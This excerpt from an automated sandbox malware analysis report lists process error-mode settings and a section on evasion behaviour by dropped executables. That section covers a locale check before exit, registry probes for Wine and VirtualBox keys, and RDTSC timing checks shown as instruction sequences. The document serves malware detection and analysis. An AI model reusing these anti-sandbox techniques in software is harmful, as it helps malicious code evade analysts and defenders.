Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-70228

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 3AF1A5 second address: 3AF1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 3AF1A9 second address: 3AF1AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 3AF1AD second address: 3AF1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5289E7 second address: 5289F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 js 00007FBC912593F6h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 527C55 second address: 527C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 527C5B second address: 527C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 527C65 second address: 527C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 527C6F second address: 527C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007FBC912593F6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 527DCC second address: 527DD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 3AEB66 second address: 3AEB73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52BFD5 second address: 52BFDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52BFDA second address: 52C002 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FBC912593F6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBC91259409h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C103 second address: 52C120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FBC9118B8BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C120 second address: 52C185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b pushad 0x0000000c call 00007FBC912593FDh 0x00000011 pop edi 0x00000012 sbb si, 8614h 0x00000017 popad 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D26CFh], ebx 0x00000021 call 00007FBC912593F9h 0x00000026 push ebx 0x00000027 push edi 0x00000028 jne 00007FBC912593F6h 0x0000002e pop edi 0x0000002f pop ebx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push esi 0x00000035 pop esi 0x00000036 jmp 00007FBC91259409h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C185 second address: 52C1B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBC9118B8B2h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBC9118B8AEh 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C1B1 second address: 52C218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FBC912593FEh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ecx 0x00000016 jmp 00007FBC91259405h 0x0000001b pop ecx 0x0000001c pop eax 0x0000001d mov esi, dword ptr [ebp+122D3A14h] 0x00000023 mov dl, 8Dh 0x00000025 push 00000003h 0x00000027 or edx, dword ptr [ebp+122D39D4h] 0x0000002d push 00000000h 0x0000002f push 00000003h 0x00000031 jg 00007FBC912593FCh 0x00000037 push FB29B5FCh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jp 00007FBC912593F6h 0x00000045 pushad 0x00000046 popad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C218 second address: 52C21D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C21D second address: 52C26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3B29B5FCh 0x00000010 mov dx, 1902h 0x00000014 lea ebx, dword ptr [ebp+12450E5Bh] 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FBC912593F8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D26BFh], edi 0x0000003a movsx ecx, ax 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C26C second address: 52C270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C270 second address: 52C276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C325 second address: 52C32A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C32A second address: 52C3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 56376BE3h 0x00000010 jmp 00007FBC91259407h 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FBC912593F8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jl 00007FBC912593F9h 0x00000037 mov si, bx 0x0000003a jmp 00007FBC91259407h 0x0000003f push 00000000h 0x00000041 movzx esi, cx 0x00000044 push 00000003h 0x00000046 mov edx, dword ptr [ebp+122D3908h] 0x0000004c call 00007FBC912593F9h 0x00000051 jmp 00007FBC912593FDh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a jmp 00007FBC912593FBh 0x0000005f je 00007FBC912593F6h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C3D0 second address: 52C3D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 52C3D5 second address: 52C3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5492E1 second address: 5492F4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBC9118B8A6h 0x00000008 jng 00007FBC9118B8A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549473 second address: 54948A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC91259401h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54948A second address: 549490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5495E8 second address: 549609 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC91259400h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FBC912593F8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5497DE second address: 54981D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBC9118B8A6h 0x0000000a pop ebx 0x0000000b jmp 00007FBC9118B8B8h 0x00000010 pushad 0x00000011 jp 00007FBC9118B8A6h 0x00000017 jmp 00007FBC9118B8B3h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549941 second address: 549958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC91259403h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 549958 second address: 54997D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FBC9118B8ACh 0x00000011 jo 00007FBC9118B8A6h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 54997D second address: 549983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
